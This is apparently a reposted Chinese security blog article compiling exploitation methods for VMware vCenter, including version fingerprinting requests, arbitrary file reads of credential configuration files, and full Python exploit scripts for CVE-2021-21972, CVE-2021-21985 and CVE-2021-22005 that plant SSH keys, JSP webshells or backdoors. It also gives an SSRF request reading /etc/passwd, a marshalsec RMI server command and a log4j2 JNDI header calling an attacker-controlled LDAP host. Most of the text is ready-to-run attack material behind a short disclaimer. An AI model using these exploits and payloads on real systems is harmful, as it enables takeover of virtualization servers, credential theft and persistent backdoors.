文章总结: 本文档详细介绍了vCenter的多个漏洞利用方法,包括任意文件读取、CVE-2021-21972、CVE-2021-21985、CVE-2021-22005、provider-logoSSRF漏洞和log4j2JNDI注入等。每个漏洞都提供了影响版本、利用方法和具体代码,以及查看vCenter版本的方法。这些信息对于安全研究人员和渗透测试人员识别和利用vCenter漏洞非常有价值,建议及时更新vCenter至最新版本以防范这些漏洞。
综合评分: 91
文章分类: 漏洞分析,渗透测试,WEB安全,代码审计,漏洞预警
vcenter利用方法
原创
小白鱼来了
Joker One Security
2025年11月10日 22:08
新加坡
/*本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。*/
页面特征
查看Vcenter版本
方法1:访问/sdk/vimServiceVersions.xml路径查看版本
如上图当前服务支持的版本是 7.0.3.0
方法2: 利用sdk路径
POST /sdk HTTP/1.1Host: XXXUser-Agent: curl/7.xContent-Type: text/xml; charset=utf-8Content-Length: <LENGTH>Connection: close
<?xml version="1.0" encoding="UTF-8"?><soap:Envelopexmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContentxmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>
利用方法
任意文件读取
影响版本:Vmware vCenter Server <= 6.5.0
GET /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vcdb.properties HTTP/1.1Host: [目标vCenter服务器IP或域名]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
读取 vCenter 配置文件获得管理帐号密码进而控制 vCenter 平台及其管理的虚拟机集群,服务器版本不同payload路径不同
- Windows 版 vCenter(已逐步淘汰,常见于旧环境)
● 数据库配置文件(含数据库账号密码):C:\ProgramData\VMware\vCenterServer\cfg\vcdb.properties● 管理员账户配置相关:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vpxd.cfg● SSO 配置文件(含单点登录密钥):C:\ProgramData\VMware\vCenterServer\cfg\vmware-sso\vmware-sso.cfgC:\ProgramData\VMware\VMware VirtualCenterC:\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx
- Linux 版 vCenter(VCSA,主流版本)
● 数据库配置文件:/etc/vmware-vpx/vcdb.properties● 核心服务配置:/etc/vmware-vpx/vpxd.cfg● SSO 相关配置:/etc/vmware-sso/vmware-sso.cfg● 系统级配置(含权限相关):/etc/vmware/psc/psc.cfg
CVE-2021-21972
默认启用 vROps 插件, uploadova 接口存在未授权访问,可利用路径穿越将文件解压至特定目录
影响版本:
7.0 <= vCenter Server < 7.0 U1c6.7 <= vCenter Server < 6.7 U3l6.5 1e <= vCenter Server < 6.5 U3n4.x <= Cloud Foundation (vCenter Server) < 4.23.x <= Cloud Foundation (vCenter Server) < 3.10.1.2
访问/ui/vropspluginui/rest/services/uploadova,如果404,则代表不存在漏洞,如果405 则可能存在漏洞
利用方法
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload# Date: 2021-02-27# Exploit Author: Photubias# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds# CVE: CVE-2021-21972
#!/usr/bin/env python3''' Copyright 2021 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-21972.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
CVE-2021-21972 is an unauthenticated file upload and overwrite, exploitation can be done via SSH public key upload or a webshell The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister # A white page means vulnerable # A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet) # Notes: # * On Linux SSH key upload is always best, when SSH access is possible & enabled # * On Linux the upload is done as user vsphere-ui:users # * On Windows the upload is done as system user # * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui" # * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-)
Features: vulnerability checker + exploit'''
import os, tarfile, sys, optparse, requestsrequests.packages.urllib3.disable_warnings()
lProxy = {}SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>'''sURL = sFile = sRpath = sType = None
def parseArguments(options): global sURL, sFile, sType, sRpath, lProxy if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.') sURL = options.url if sURL[-1:] == '/': sURL = sURL[:-1] if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL sFile = options.file if not os.path.exists(sFile): exit('[-] File not found: ' + sFile) sType = 'ssh' if options.type: sType = options.type if options.rpath: sRpath = options.rpath else: sRpath = None if options.proxy: lProxy = {'https': options.proxy}
def getVersion(sURL): def getValue(sResponse, sTag = 'vendor'): try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0] except: pass return '' oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE) #print(oResponse.text) if oResponse.status_code == 200: sResult = oResponse.text if not 'VMware' in getValue(sResult, 'vendor'): exit('[-] Not a VMware system: ' + sURL) else: sName = getValue(sResult, 'name') sVersion = getValue(sResult, 'version') # e.g. 7.0.0 sBuild = getValue(sResult, 'build') # e.g. 15934073 sFull = getValue(sResult, 'fullName') print('[+] Identified: ' + sFull) return sVersion, sBuild exit('[-] Not a VMware system: ' + sURL)
def verify(sURL): #return True sURL += '/ui/vropspluginui/rest/services/uploadova' try: oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5) except: exit('[-] System not available: ' + sURL) if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely else: return False
def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None): def getResourcePath(): oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5) return oResponse.text.split('static/')[1].split('/')[0] oTar = tarfile.open('payloadLin.tar','w') if sRpath: ## version & build not important if sRpath[0] == '/': sRpath = sRpath[1:] sPayloadPath = '../../' + sRpath oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'absolute' elif sType.lower() == 'ssh': ## version & build not important sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys' oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'ssh' elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631): ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i) oTar.close() return 'webshell' elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631): ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile> sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor' else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0): ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>) sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor'
def createTarWin(sFile, sRpath = None): ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows if sRpath: if sRpath[0] == '/': sRpath = sRpath[:1] sPayloadPath = '../../' + sRpath else: sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile) oTar = tarfile.open('payloadWin.tar','w') oTar.add(sFile, arcname=sPayloadPath) oTar.close()
def uploadFile(sURL, sUploadType, sFile): #print('[!] Uploading ' + sFile) sFile = os.path.basename(sFile) sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova' arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')} ## Linux oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Linux payload uploaded succesfully.') if sUploadType == 'ssh': print('[+] SSH key installed for user \'vsphere-ui\'.') print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'') return True elif sUploadType == 'webshell': sWebshell = sURL + '/ui/resources/' + sFile #print('testing ' + sWebshell) oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True elif sUploadType == 'backdoor': sWebshell = sURL + '/ui/resources/' + sFile print('[+] Backdoor ready, please reboot or wait for a reboot') print(' then open: ' + sWebshell) else: ## absolute pass ## Windows arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')} oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Windows payload uploaded succesfully.') if sUploadType == 'backdoor': print('[+] Absolute upload looks OK') return True else: sWebshell = sURL + '/statsreport/' + sFile oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True return False
if __name__ == "__main__": usage = ( 'Usage: %prog [option]\n' 'Exploiting Windows & Linux vCenter Server\n' 'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n' 'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n' 'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')
parser = optparse.OptionParser(usage=usage) parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1') parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell') parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh') parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile') parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')
(options, args) = parser.parse_args()
parseArguments(options)
## Verify if verify(sURL): print('[+] Target vulnerable: ' + sURL) else: exit('[-] Target not vulnerable: ' + sURL)
## Read out the version sVersion, sBuild = getVersion(sURL) if sRpath: print('[!] Ready to upload your file to ' + sRpath) elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'') else: print('[!] Ready to upload webshell \'' + sFile + '\'') sAns = input('[?] Want to exploit? [y/N]: ') if not sAns or not sAns[0].lower() == 'y': exit()
## Create TAR file sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath) if not sUploadType == 'ssh': createTarWin(sFile, sRpath)
## Upload and verify uploadFile(sURL, sUploadType, sFile)
## Cleanup os.remove('payloadLin.tar') os.remove('payloadWin.tar')
python3 CVE-2021-21972.py --url <目标vCenter地址> --file <待上传文件>
vcenter_key.pub 是 SSH 公钥文件,用于在漏洞利用中实现通过 SSH 登录目标 vCenter 系统
利用2
#!/usr/bin/python3
import argparseimport requestsimport tarfileimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip): r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30) if r.status_code == 405: print('[+] ' + ip + ' vulnerable to CVE-2021-21972!') return True else: print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.') return False
def make_traversal_path(path, level=5, os="unix"): if os == "win": traversal = ".." + "\\" fullpath = traversal*level + path return fullpath.replace('/', '\\').replace('\\\\', '\\') else: traversal = ".." + "/" fullpath = traversal*level + path return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os): tarf = tarfile.open('exploit.tar', 'w') fullpath = make_traversal_path(path, level=5, os=os) print('[+] Adding ' + file + ' as ' + fullpath + ' to archive') tarf.add(file, fullpath) tarf.close() print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip): r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30) if r.status_code == 200 and r.text == 'SUCCESS': print('[+] File uploaded successfully') else: print('[-] File failed to upload the archive. The service may not have permissions for the specified path') print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='The IP address of the target', required=True) parser.add_argument('-f', '--file', help='The file to tar') parser.add_argument('-p', '--path', help='The path to extract the file to on target') parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server') args = parser.parse_args()
vulnerable = check(args.target) if vulnerable and (args.file and args.path and args.operating_system): archive(args.file, args.path, args.operating_system) post(args.target)
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\1.jsp -o win -f 1.jsp
上传后的路径为
https://x.x.x.x/statsreport/1.jsp
完整路径为
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
linux写入公私钥
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
CVE-2021-21985
影响版本:
7.0 <= vCenter Server < 7.0 U2b6.7 <= vCenter Server < 6.7 U3n6.5 <= vCenter Server < 6.5 U3p4.x <= Cloud Foundation (vCenter Server) < 4.2.13.x <= Cloud Foundation (vCenter Server) < 3.10.2.1
利用
import requestsimport sysimport jsonimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def send_request(host,uri,json): try: req = requests.post(url=host+baseuri+uri,json=json,headers=headers,verify=False) return req.text except: return Falsedef check_false(request): if request ==False or 'result' not in request: print("[*] No Vuln!") return Trueif __name__ == '__main__': if len(sys.argv) < 2: print('''python3 cve-2021-21985.py https://host rmi://8.8.8.8:1099/Exploit''') sys.exit() host = sys.argv[1] payload = sys.argv[2] baseuri = "/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService" uris = ["/setTargetObject", "/setStaticMethod", "/setTargetMethod", "/setArguments", "/prepare", "/invoke"] headers = {'Content-Type': 'application/json', "User-Agent": "pentest"} stage_setTargetObject = json.loads('{"methodInput":[null]}') stage_setStaticMethod = json.loads('{"methodInput":["javax.naming.InitialContext.doLookup"]}') stage_setTargetMethod = json.loads('{"methodInput":["doLookup"]}') stage_setArguments = json.loads('{"methodInput":[["%s"]]}'%payload) stage_prepare = json.loads('{"methodInput":[]}') print("[*] start init TargetObject") # init TargetObject init_request = send_request(host,uris[0],json=stage_setTargetObject) if check_false(init_request): print("[*] init failed!") exit() # Step2 setStaticMethod StaticMethod = send_request(host,uris[1],json=stage_setStaticMethod) if check_false(init_request): print("[*] StaticMethod init failed!") exit() # Step3 setTargetMethod StaticMethod = send_request(host,uris[2],json=stage_setTargetMethod) if check_false(init_request): print("[*] setTarget Method failed!") exit() # Step4 setArguments # print(stage_setArguments) setArguments = send_request(host,uris[3],json=stage_setArguments) if check_false(init_request): print("[*] setArguments failstage_setArgumentsed!") exit() # Step5 prepare setArguments = send_request(host,uris[4],json=stage_prepare) if check_false(init_request): print("[*] stage_prepare failed!") exit() # Step6 invoke setArguments = send_request(host,uris[5],json=stage_prepare) if check_false(init_request): print("[*] invoke failed!") exit()
python3 cve-2021-21985.py https://目标vCenter地址 rmi://攻击者IP:1099/Exploit
攻击者需控制一个 RMI/LDAP 服务器,用于托管恶意类,先启动服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者IP:8000/#Exploit" 1099
CVE-2021-22005
影响版本:
7.0 <= vCenter Server < 7.0 U2c6.7 <= vCenter Server < 6.7 U3o
利用
import randomimport stringimport requestsimport argparseimport warnings
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size))
def str_to_escaped_unicode(arg_str): escaped_str = '' for s in arg_str: val = ord(s) esc_uni = "\\u{:04x}".format(val) escaped_str += esc_uni return escaped_str
def post_data(url, data, proxies): headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} requests.post(url, headers=headers, json=data, verify=False, proxies=proxies)
def upload_manifest(target, proxies, agent_name, log_param): print("[*] uploading manifest") url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % ( target, agent_name, log_param) data = {"contextData": "a3", "manifestContent": manifest_data, "objectId": "a2"} post_data(url, data, proxies)
def create_agent(target, proxies, agent_name, log_param): print("[*] creating agent") url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % ( target, agent_name, log_param) data = {"manifestSpec": {}, "objectType": "a2", "collectionTriggerDataNeeded": True, "deploymentDataNeeded": True, "resultNeeded": True, "signalCollectionCompleted": True, "localManifestPath": "a7", "localPayloadPath": "a8", "localObfuscationMapPath": "a9"} post_data(url, data, proxies)
def generate_manifest(name, content): content = str_to_escaped_unicode(content) path = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % name data = """<manifest recommendedPageSize="500"> <request> <query name="vir:VCenter"> <constraint> <targetType>ServiceInstance</targetType> </constraint> <propertySpec> <propertyNames>content.about.instanceUuid</propertyNames> <propertyNames>content.about.osType</propertyNames> <propertyNames>content.about.build</propertyNames> <propertyNames>content.about.version</propertyNames> </propertySpec> </query> </request> <cdfMapping> <indepedentResultsMapping> <resultSetMappings> <entry> <key>vir:VCenter</key> <value> <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"> <resourceItemToJsonLdMapping> <forType>ServiceInstance</forType> <mappingCode><![CDATA[ #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))## #set($orig_log = $appender.getFile())## #set($logger = $GLOBAL-logger.logger.parent)## $appender.setFile("%s")## $appender.activateOptions()## $logger.warn("%s")## $appender.setFile($orig_log)## $appender.activateOptions()##]]> </mappingCode> </resourceItemToJsonLdMapping> </value> </value> </entry> </resultSetMappings> </indepedentResultsMapping> </cdfMapping> <requestSchedules> <schedule interval="1h"> <queries> <query>vir:VCenter</query> </queries> </schedule> </requestSchedules> </manifest>""" % (path, content) return data
def get_webshell(path): with open(path) as file: content = file.read() return content
if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", dest='target', help="target url(e.g. https://192.168.1.1)", required=True) parser.add_argument('-s', '--shell', dest='shell', help="local webshell file path(default cmd.jsp)") parser.add_argument('-p', '--proxy', dest='proxy', help="request proxy(e.g. http://127.0.0.1:1080)") args = parser.parse_args()
target = args.target if target[-1] == "/": target = target[0:-1] print("[*] target: %s" % target)
path = args.shell if path is None: path = "cmd.jsp" print("[*] webshell: %s" % path)
proxy = args.proxy proxies = None if proxy: proxies = {"http": proxy, "https": proxy} print("[*] proxy: %s" % proxy)
log_param = id_generator(6) agent_name = id_generator(6) shell_name = id_generator(6) + ".jsp"
webshell_content = get_webshell(path) manifest_data = generate_manifest(shell_name, webshell_content)
create_agent(target, proxies, agent_name, log_param) upload_manifest(target, proxies, agent_name, log_param)
url = "%s/idm/..;/%s" % (target, shell_name) print("[!] webshell url: %s" % url)
利用 vCenter 的 Analytics 组件存在的路径遍历和模板注入漏洞,通过构造恶意请求上传 JSP webshell,实现对目标系统的控制。
python3 poc.py -t https://目标vCenter地址 -s cmd.jsp
provider-logo SSRF 漏洞
影响版本:
● vCenter Server 7.0:7.0.3 版本中,构建版本低于20050589的系统(即 7.0.3 Update 2c 之前的版本)。● vCenter Server 6.7:6.7 版本中,构建版本低于20045518的系统(即 6.7 Update 3o 之前的版本)。
利用
GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1Host: {{target}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
log4j2 JNDI 注入
影响版本:
vCenter Server 7.07.0 U3c 及之前版本(构建版本低于19480866):vCenter 的vpxd、analytics等组件中存在 Log4j2 依赖,可能受影响。7.0 U3d 及之后版本已通过补丁修复。vCenter Server 6.76.7 U3o 及之前版本(构建版本低于19682156):部分服务(如vpxd)使用存在漏洞的 Log4j2 版本。6.7 U3p 及之后版本已修复。vCenter Server 6.56.5 U3q 及之前版本(构建版本低于19717497):受影响,主要涉及vpxd服务。6.5 U3r 及之后版本已修复。
利用
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: [vcenter-ip]X-Forwarded-For: ${jndi:ldap://[攻击者服务器]/恶意类}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Joker One Security 小白鱼来了《vcenter利用方法》